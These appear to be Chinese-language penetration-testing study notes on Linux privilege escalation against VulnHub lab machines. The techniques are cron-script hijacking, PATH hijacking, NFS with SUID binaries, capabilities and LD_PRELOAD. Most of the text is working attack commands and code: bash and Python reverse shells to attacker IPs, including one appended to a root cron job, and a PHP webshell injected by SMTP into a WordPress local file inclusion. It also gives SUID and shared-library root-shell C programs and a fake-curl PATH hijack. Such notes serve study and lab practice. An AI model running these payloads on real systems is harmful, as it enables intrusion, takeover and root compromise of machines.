cron -计划任务提权
提升条件:Web或用户权限进行查看,任务文件可修改
1 信息收集:
nmap 192.168.2.0/24
扫目录
http://192.168.2.8/access.html # 给了账号密码eder/vipsu
2 权限获取:
http://192.168.139.152:8080/ # 账号eder/密码vipsu
Jenkins创建任务,添加反弹,立即构建
nc -lvvp 6666
bash -i >& /dev/tcp/192.168.2.26/5555 0>&1
3 权限提升:
cat /etc/crontab #查看计算机当前计划任务列表
#root每5分钟执行/etc/script/CleaningScript.sh
cat /etc/script/CleaningScript.sh #查看计划任务内容
#删除日志rm -rf /var/log/httpd/access_log.txt
ls -lia /etc/script/CleaningScript.sh
#查看任务文件的权限 可执行
反弹shell
nc -lvvp 6666
echo "/bin/bash -i >& /dev/tcp/192.168.2.8/6666 0>&1" >> /etc/script/CleaningScript.sh
查看计算机当前计划任务列表
反弹shell写入计划任务 5分钟收到反弹shell
PATH-变量提权
提升条件:存在SUID的应用中能可逆向出执行命令,加用户权限
1 信息收集
开放445 SMB服务
smbclient -L 192.168.2.9
# 建立连接 有账号helios
2 权限获取:
smbclient //192.168.2.9/anonymous #连接anonymous 回车连接成功
ls
get attention.txt #下载文件到本地
cat attention.txt #文件给了三个密码
exit
smbclient //192.168.2.9/helios -U helios
#使用用户名helios连接共享文件夹 helios
#账号 helios \ 密码qwerty
ls
get todo.txt
cat todo.txt #告诉你有个目录/h3l105 wordpress搭建的网站
3 漏洞利用
使用wpscan针对WordPress网站进行扫描
wpscan --url http://192.168.2.9/h3l105/ --plugins-detection aggressive
searchsploit mail masta 1.0
# kali自带漏洞库 搜mail masta 1.0相关漏洞的命令
本地文件包含
find / -name 40290.txt
cat /usr/share/exploitdb/exploits/php/webapps/40290.txt
文件给到我们一个地址
telnet 192.168.2.9 25
# 连接25端口 发送一封邮件 邮件里面包含后门
邮件格式 data内容
MAIL FROM: MALABIS
RCPT TO: helios
data
<?php system($_GET['shell']); ?>
.
QUIT
#内容不显示 证明代码被执行了
把id命令换成反弹shell
http://192.168.2.9/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&shell=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.26",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
4 权限提升:
python -c 'import pty;pty.spawn("/bin/bash")' #生成一个终端
find / -perm -u=s -type f 2>/dev/null
#查看suid 其他像系统自带的 /opt/statuscheck像个人创建,用户自定义的
strings /opt/statuscheck #提取二进制文件 有能执行调用的curl命令 -> curl开始指向/usr/bin/curl 添加环境变量后 就会执行/tmp/curl的sh
cd /tmp #在/tmp目录下有一个curl文件 执行的作用/bin/sh
echo "/bin/sh" > curl
chmod 777 curl
export PATH=/tmp:$PATH
echo $PATH
/opt/statuscheck
/tmp目录是没有curl的 通过echo "/bin/sh" > curl命令创建了个curl
chmod 777 curl
export PATH=/tmp:$PATH
echo $PATH 相当于把curl加入到环境变量
最后在执行/opt/statuscheck是因为里面包含curl 会调用curl执行命令
NFS-安全提权
Web权限 普通用户权限都可以提权
NFS是一种基于TCP/IP 传输的网络文件系统协议,通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源。
环境:
需要virtualbox搭建
hacksudo: 2 (HackDudo) ~ VulnHub
提升条件:NFS服务开启和web或用户权限进行利用
1 信息收集:
nmap 192.168.1.6
http://192.168.1.6/file.php?file=/etc/passwd
2 NFS服务利用
showmount -e 192.168.1.6 # 查询 NFS服务器上共享目录
mkdir nfs
mount -t nfs 192.168.1.6:/mnt/nfs ./nfs
#将远程主机192.168.1.6的NFS共享目录/mnt/nfs挂载到本地的./nfs目录
#我只要在本地nfs加入东西 远程的主机也会添加
#生成一个1.php的后门文件 放入本地NFS目录进行文件包含
cd /root/nfs #添加权限
chmod 777 1.php
通过webshell连接 http://192.168.1.6/file.php?file=/mnt/nfs/1.php
where find
cp /usr/bin/fin xiaodi
chmod 777 xiaodi
chmod +s xiaodi #赋予suid权限
/mnt/nfs/xiaodi ./ -exec “whoami”\; #通过find提权 结果失败 版本不同兼容有问题
3 配合SUID提权
注意gcc编译机器与目标机内核版本相似
使用老版本系统编译c文件
创建getroot.c文件
内容:
#include<stdlib.h>
#include<unistd.h>
int main()
{
setuid(0);
system("id");
system("/bin/bash");
}
gcc getroot.c -o getroot
cp getroot /root/nfs #复制bash到挂载目录下
chmod +s getroot #赋予suid权限
find / -perm -u=s -type f 2>/dev/null 再看看是否加入
cd /mnt/nfs # 目标机
./getroot # 目标机
Capability能力
web&普通用户
1 原理
Linux提权之:利用capabilities提权 - f_carey - 博客园
suid升级版,更细致的权限划分,通过能力有哪些权限设置进行利用
cp /usr/bin/php /tmp/php #将php的文件复制到/tmp/php
chmod +x /tmp/php
setcap cap_setuid+ep /tmp/php #给php文件设置setuid的能力->允许改变用户id
getcap -r / 2>/dev/null # 查看所有能力
#删除能力:setcap -r /tmp/php
#查看单个能力:getcap /usr/bin/php
2 普通用户利用提权
su test
bash
getcap -r / 2>/dev/null #看看有冇有利用的能力 发现php可以利用
/tmp/php -r "posix_setuid(0); system('/bin/sh');"
3 Hacker_Kid靶场
WP参考: Hacker_Kids靶机渗透WP - 简书
环境:Hacker kid: 1.0.1 ~ VulnHub
LD_Preload加载
1 具体参考
使用LD_Preload的Linux权限升级技巧 - 渗透测试中心 - 博客园
让程序执行器预加载.so
结论:sudo提权有限制,但是一旦设置了LD_PRELOAD,那么只要有程序既可提权
2 提权
满足条件
Defaults env_keep += LD_PRELOAD #条件 需要开启LD_PRELOAD
test ALL=(ALL:ALL) NOPASSWD: /usr/bin/find #还要满足sudo可以执行的
etc/sudoers文件 设置LD_preload的环境
赋予test普通用户一些sudo权限
在/tmp目录中生成一个C程序文件
su test
cd /tmp
nano shell.c
文件内容
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
编译成.so文件 在Windows操作系统中使用.dll文件
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
ls -al shell.so
sudo LD_PRELOAD=/tmp/shell.so find #在程序启动时优先加载指定的共享库.so文件
whoami
同理如果是一个脚本代码
Defaults env_keep += LD_PRELOAD
test ALL=(ALL:ALL) NOPASSWD: /tmp/LinEnum.sh
执行命令sudo LD_PRELOAD=/tmp/shell.so /tmp/LinEnum.sh
CAP_DAC_OVERRIDE 1 忽略对文件的所有DAC访问限制
CAP_DAC_READ_SEARCH 2 忽略所有对读、搜索操作的限制
CAP_FOWNER 3 以最后操作的UID,覆盖文件的先前的UID
CAP_FSETID 4 确保在文件被修改后不修改setuid/setgid位
CAP_KILL 5 允许对不属于自己的进程发送信号
CAP_SETGID 6 允许改变组ID
CAP_SETUID 7 允许改变用户ID
CAP_SETPCAP 8 允许向其它进程转移能力以及删除其它进程的任意能力(只限init进程)
CAP_LINUX_IMMUTABLE 9 允许修改文件的不可修改(IMMUTABLE)和只添加(APPEND-ONLY)属性
CAP_NET_BIND_SERVICE 10 允许绑定到小于1024的端口
CAP_NET_BROADCAST 11 允许网络广播和多播访问(未使用)
CAP_NET_ADMIN 12 允许执行网络管理任务:接口、防火墙和路由等.
CAP_NET_RAW 13 允许使用原始(raw)套接字
CAP_IPC_LOCK 14 允许锁定共享内存片段
CAP_IPC_OWNER 15 忽略IPC所有权检查
CAP_SYS_MODULE 16 插入和删除内核模块
CAP_SYS_RAWIO 17 允许对ioperm/iopl的访问
CAP_SYS_CHROOT 18 允许使用chroot()系统调用
CAP_SYS_PTRACE 19 允许跟踪任何进程
CAP_SYS_PACCT 20 允许配置进程记帐(process accounting)
CAP_SYS_ADMIN 21 允许执行系统管理任务:加载/卸载文件系统、设置磁盘配额、开/关交换设备和文件等.
CAP_SYS_BOOT 22 允许重新启动系统
CAP_SYS_NICE 23 允许提升优先级,设置其它进程的优先级
CAP_SYS_RESOURCE 24 忽略资源限制
CAP_SYS_TIME 25 允许改变系统时钟
CAP_SYS_TTY_CONFIG 26 允许配置TTY设备
CAP_MKNOD 27 允许使用mknod()系统调用
CAP_LEASE 28 允许在文件上建立租借锁
CAP_SETFCAP 31 允许在指定的程序上授权能力给其它程序